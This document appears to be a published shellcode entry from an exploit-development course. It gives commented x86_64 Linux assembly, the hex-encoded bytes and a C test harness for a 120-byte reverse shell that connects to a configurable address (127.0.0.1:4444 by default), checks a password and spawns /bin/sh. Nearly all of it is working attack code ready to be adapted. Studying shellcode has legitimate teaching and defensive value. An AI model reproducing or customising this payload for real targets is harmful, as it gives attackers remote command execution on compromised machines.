120 bytes small Linux/x86_64 reverse (127.0.0.1:4444/TCP) shell (/bin/sh) + password (pass) shellcode.
9d833727135aee23ab7360fd99fb9844/*
; Title : Linux/x86_64 - Reverse Shell (/bin/sh) with Password (configurable) (120 bytes)
; Date : 2019-08-18
; Author : Gonçalo Ribeiro (@goncalor)
; Website : goncalor.com
; SLAE64-ID : 1635
global _start
%define pass "pass"
%define port 0x5c11 ; htons(4444)
_start:
jmp real_start
password: db pass
pass_len: db $-password
real_start:
socket:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; __NR_socket = 41
; On success, a file descriptor for the new socket is returned
push 41
pop rax
push 2
pop rdi
push 1
pop rsi
cdq ; copies rax's bit 31 to all bits of edx (zeroes rdx)
syscall
push rax
pop rdi
connect:
; server.sin_family = AF_INET; short
; server.sin_port = htons(4444); unsigned short
; server.sin_addr.s_addr = inet_addr("127.0.0.1"); unsigned long
; bzero(&server.sin_zero, 8);
;
; https://beej.us/guide/bgnet/html/multi/sockaddr_inman.html
; struct sockaddr_in {
; short sin_family;
; unsigned short sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
;
; connect(sock, (struct sockaddr *)&server, sockaddr_len)
; AF_INET = 2
; __NR_connect = 42
; On success, zero is returned
xor eax, eax
push rax ; sin_zero
push 0x10ffff70 ; sin_addr (xored)
xor dword [rsp], 0x11ffff0f ; recover sin_addr
push word port
push word 2
; connect
add al, 42
push rsp
pop rsi
add dl, 16 ; sizeof(sockaddr_in)
syscall
dup2:
; dup2(sock, 0);
; dup2(sock, 1);
; dup2(sock, 2);
; __NR_dup2 = 33
; On success, return the new file descriptor
push 2
pop rsi
dup2_loop:
mov al, 33
syscall
dec esi
jns dup2_loop
read_password:
; read(int fd, void *buf, size_t count)
; On success, the number of bytes read is returned
;xor eax, eax ; already done by dup2
;rdi = "sock" ; already done
push rax
push rax ; create space for "buf" in the stack
push rsp
pop rsi ; rsi = *buf
mov dl, 16
syscall
compare_password:
xor ecx, ecx
lea rdi, [rel pass_len]
mov cl, [rdi]
sub rdi, rcx
cld
repz cmpsb
jne exit
execve:
; execve(const char *path, char *const argv[], char *const envp[])
; rdi, path = (char*) /bin//sh, 0x00 (double slash for padding)
; rsi, argv = (char**) (/bin//sh, 0x00)
; rdx, envp = &0x00
xor eax, eax
push rax
push rsp
pop rdx ; *rdx = &0x00
mov rsi, 0x68732f2f6e69622f ; rax2 -S $(echo /bin//sh | rev)
push rsi
push rsp
pop rdi ; rdi = (char*) /bin//sh
push rax
push rdi
push rsp
pop rsi ; rsi = (char**) (/bin//sh, 0x00)
mov al, 59
syscall
exit:
;xor eax, eax ; upper bytes are zero after read
mov al, 60
syscall
*/
#include <stdio.h>
#include <string.h>
char code[] =
"\xeb\x05\x70\x61\x73\x73\x04\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f"
"\x05\x50\x5f\x31\xc0\x50\x68\x70\xff\xff\x10\x81\x34\x24\x0f\xff\xff\x11"
"\x66\x68\x11\x5c\x66\x6a\x02\x04\x2a\x54\x5e\x80\xc2\x10\x0f\x05\x6a\x02"
"\x5e\xb0\x21\x0f\x05\xff\xce\x79\xf8\x50\x50\x54\x5e\xb2\x10\x0f\x05\x31"
"\xc9\x48\x8d\x3d\xb6\xff\xff\xff\x8a\x0f\x48\x29\xcf\xfc\xf3\xa6\x75\x1a"
"\x31\xc0\x50\x54\x5a\x48\xbe\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x54\x5f"
"\x50\x57\x54\x5e\xb0\x3b\x0f\x05\xb0\x3c\x0f\x05";
int main() {
printf("length: %lu\n", strlen(code));
((int(*)()) code)();
}
